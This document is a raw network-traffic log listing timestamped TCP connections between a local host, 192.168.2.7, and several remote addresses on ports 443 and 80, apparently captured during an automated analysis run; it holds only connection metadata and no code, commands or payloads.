Nov 13, 2024 14:41:15.301379919 CET	49713	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.301393032 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.301835060 CET	49713	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.301841974 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.302733898 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.302751064 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.303565979 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.303570986 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.387882948 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.387933016 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.388001919 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.388251066 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.388262033 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.426718950 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.426731110 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.426911116 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.426949024 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.426975012 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.427010059 CET	49713	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.427104950 CET	49713	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.427112103 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.427112103 CET	49712	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.427134037 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.427138090 CET	443	49713	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.427145958 CET	443	49712	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430234909 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430249929 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430279970 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430330992 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430340052 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430397987 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430402994 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430497885 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430510998 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430605888 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430640936 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430644035 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430682898 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430733919 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430743933 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.430753946 CET	49711	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.430758953 CET	443	49711	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.432800055 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.432827950 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.432893991 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.433020115 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.433033943 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.443996906 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.444705963 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.444715023 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.444825888 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.444832087 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.488627911 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.488749981 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.488825083 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.489191055 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.489231110 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.579031944 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.580111027 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.580157995 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.580198050 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.580209017 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.580219030 CET	49715	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.580224991 CET	443	49715	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.583770990 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.583827019 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.583904982 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.584073067 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.584086895 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.610438108 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.610487938 CET	443	49728	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.610589027 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.610820055 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.610836983 CET	443	49728	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.948158026 CET	80	49699	185.215.113.206	192.168.2.7
Nov 13, 2024 14:41:15.948216915 CET	49699	80	192.168.2.7	185.215.113.206
Nov 13, 2024 14:41:15.949346066 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.950454950 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.950470924 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.951278925 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:15.951284885 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:15.955744982 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.955996990 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.956005096 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.957132101 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.957200050 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.958599091 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.958739996 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:15.959029913 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:15.959037066 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.027554989 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.079490900 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.079559088 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.079833984 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.079833984 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.080020905 CET	49719	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.080038071 CET	443	49719	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.083451986 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.083493948 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.083605051 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.083758116 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.083766937 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.163536072 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.164058924 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.164079905 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.164783955 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.164788961 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.167821884 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.168612003 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.168642998 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.169064045 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.169070959 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.185488939 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.185992956 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.186007977 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.186469078 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.186472893 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.240916014 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.268294096 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.268527031 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.268539906 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.269638062 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.269711971 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.269992113 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.270045042 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.270292044 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.270298958 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.292515993 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.292676926 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.292737961 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.292885065 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.292898893 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.292913914 CET	49725	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.292921066 CET	443	49725	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.293158054 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.293184042 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.296477079 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.296547890 CET	443	49718	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.296602964 CET	49718	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.298985004 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.300009012 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.300066948 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.300115108 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.300124884 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.300138950 CET	49723	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.300143957 CET	443	49723	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.300983906 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.301008940 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.301075935 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.301305056 CET	49730	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.301318884 CET	443	49730	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.303333044 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.303381920 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.303458929 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.303592920 CET	49731	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.303606033 CET	443	49731	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.311249018 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.311913013 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.311932087 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.312849045 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.312855005 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.324424028 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.331629992 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.331800938 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.331864119 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.332526922 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.332555056 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.332578897 CET	49724	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.332592964 CET	443	49724	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.342020035 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.342041016 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.342169046 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.342758894 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.343023062 CET	49732	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.343034983 CET	443	49732	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.343698025 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.343708992 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.346555948 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.346618891 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.349838972 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.349930048 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.350301981 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.350310087 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.402544975 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.440674067 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.440735102 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.440788984 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.441015959 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.441037893 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.441049099 CET	49727	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.441055059 CET	443	49727	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.443589926 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.443633080 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.443691015 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.443847895 CET	49733	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.443855047 CET	443	49733	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.463509083 CET	443	49728	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.463805914 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.463820934 CET	443	49728	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.465739965 CET	443	49728	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.465812922 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.466120958 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.466216087 CET	443	49728	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.511586905 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.511604071 CET	443	49728	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.559046030 CET	49728	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.569029093 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.569087982 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.569122076 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.569144964 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.569159985 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.569202900 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.569211960 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.569219112 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.569247961 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.569279909 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.578296900 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.578373909 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.578380108 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.621520996 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.621539116 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.622333050 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.668421030 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.668502092 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.668530941 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.669806957 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.670130968 CET	443	49726	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.670294046 CET	49726	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.690990925 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.691128016 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.691179991 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.691194057 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.714369059 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.714416027 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.714452028 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.714466095 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.714514017 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.714519978 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.715420961 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.715482950 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.715487957 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.724183083 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.724241972 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.724250078 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.734287977 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.734400034 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.734411001 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.746721983 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.746797085 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.746807098 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.760685921 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.760752916 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.760760069 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.765480042 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.765522957 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.765527010 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810138941 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810209036 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.810231924 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810367107 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810472012 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810547113 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.810560942 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810692072 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810745955 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.810760021 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.810811043 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.820951939 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.821170092 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.821218014 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.821225882 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.831151962 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.831227064 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.831234932 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.836500883 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.836937904 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.836970091 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.837541103 CET	49729	443	192.168.2.7	13.107.246.44
Nov 13, 2024 14:41:16.837549925 CET	443	49729	13.107.246.44	192.168.2.7
Nov 13, 2024 14:41:16.837672949 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.837740898 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.837748051 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.842201948 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.842267036 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.842272997 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.848812103 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.848864079 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.848875999 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.855880976 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.855947971 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.855959892 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.862013102 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.862067938 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.862077951 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.869239092 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.869292021 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.869301081 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.875468969 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.875559092 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.875565052 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.882131100 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.882200003 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.882208109 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.888490915 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.888541937 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.888547897 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.895589113 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.895633936 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.895641088 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.901849985 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.901947975 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.901953936 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.908301115 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.908349037 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.908354998 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.914712906 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.914773941 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.914779902 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.928225994 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.928257942 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.928272009 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.928277969 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.928319931 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.928628922 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.934524059 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.934567928 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.934573889 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.941385031 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.941433907 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.941441059 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.947439909 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.947498083 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.947504044 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.953263998 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.953329086 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.953335047 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.959173918 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.959238052 CET	49722	443	192.168.2.7	172.217.18.4
Nov 13, 2024 14:41:16.959247112 CET	443	49722	172.217.18.4	192.168.2.7
Nov 13, 2024 14:41:16.965186119 CET	443	49722	172.217.18.4	192.168.2.7
